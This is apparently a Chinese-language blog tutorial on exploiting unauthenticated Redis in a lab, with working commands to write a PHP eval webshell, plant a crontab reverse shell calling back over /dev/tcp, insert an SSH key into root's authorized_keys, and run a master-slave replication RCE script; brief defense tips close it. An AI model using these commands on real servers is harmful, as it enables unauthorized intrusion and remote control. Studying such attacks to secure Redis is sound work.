浅谈未授权漏洞——Redis未授权getshell

0x01 环境搭建

环境介绍

目标靶机:Centos 7
靶机ip:192.168.122.133

攻击机:window

连接工具:
(1)redisclient	(2)RedisDesktopManager

下载Redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

环境搭建

tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译

cd src/ #进入src目录 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd ..   # 返回上一级目录
cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

服务启动成功

0x02 未授权登录

使用redisclient或者RedisDesktopManager连接靶机Redis服务:redisclient下载地址

  1. redisclient:

2.RedisDesktopManager:

3.redis-cli.exe

4.利用蚁剑插件连接redis

打开蚁剑->点击antsword->选择插件市场->Redis管理,进行插件的安装。

复现过程中踩过的坑:

1.没有关闭Centos防火墙,导致redis连接失败。

0x03 利用Redis写webshell

利用前提:
(1)靶机redis未授权,在攻击机能用redis clinet连接,并未登录验证
(2)靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

靶机已经开启web服务,根目录为/var/www/html

这里使用redis clinet写入webshell

写入webshell

config set dir /var/www/html
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save

写入一句话webshell

<?php @eval($_POST['123']); ?>

写入后,通过蚁剑连接webshell

0x04 利用crontab计划任务反弹shell

1.首先在攻击机上使用nc监听一个端口,用于反弹shell

nc -lvnp 5555

2.使用redis-cli连接redis,写入反弹shell

redis-cli.exe -h 192.168.122.133
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.200.90.60/5555 0>&1\n\n\n"
config set dbfilename root
save

反弹shell成功!

0X05 写入SSH公钥实现SSH登录

利用原理

原理就是在数据库中插入一条数据,将本机的公钥作为value值,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

利用条件

  • 知道启动服务的用户
  • 拥有.ssh目录
  • 允许使用基于密钥认证的方式登陆

复现过程

1.先在KALI上生成一个ssh公钥

ssh-keygen -t rsa

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

3.再把key.txt文件内容写入redis缓冲

cat /root/.ssh/key.txt |redis-cli -h 192.168.10.139 -x set pub

4.设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成),当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作

5.测试是否可以通过ssh登录目标服务器,成功登录

0x06 主从复制rce

什么是主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。

主从复制RCE主要原理就是,攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so文件,完成命令执行。

利用条件

  • redis版本:Redis 4.x-Redis 5.x

利用脚本

python文件下载地址:redis-rce

.so文件下载地址:exp.so

复现过程

执行脚本,填入本地ip,redis服务器ip,so文件,选择i可以直接交互执行命令,选择r可以通过监听端口的方式反弹shell

python3 redis-rce.py -L192.168.122.130 -r 192.168.122.134 -f exp.so

利用成功

0x07 防御建议

  • 设置密码并且保证密码口令为强口令
  • 以低权限启动redis数据库
  • 不允许数据库外联并且设置白名单ip

0x08 总结

  • 主从复制rce目标redis数据库版本必须大于等于4.0.0
  • redis未授权漏洞可遇不可求,很多fofa上搜索到的目标,都无法利用。原因是没有相关可利用的文件夹,无法写入公钥和webshell。
  • 遇到redis可以先尝试爆破口令,尤其是在内网中,弱口令很多
posted @ 2020-08-26 10:28  C0ldCash  阅读(542)  评论(0编辑  收藏  举报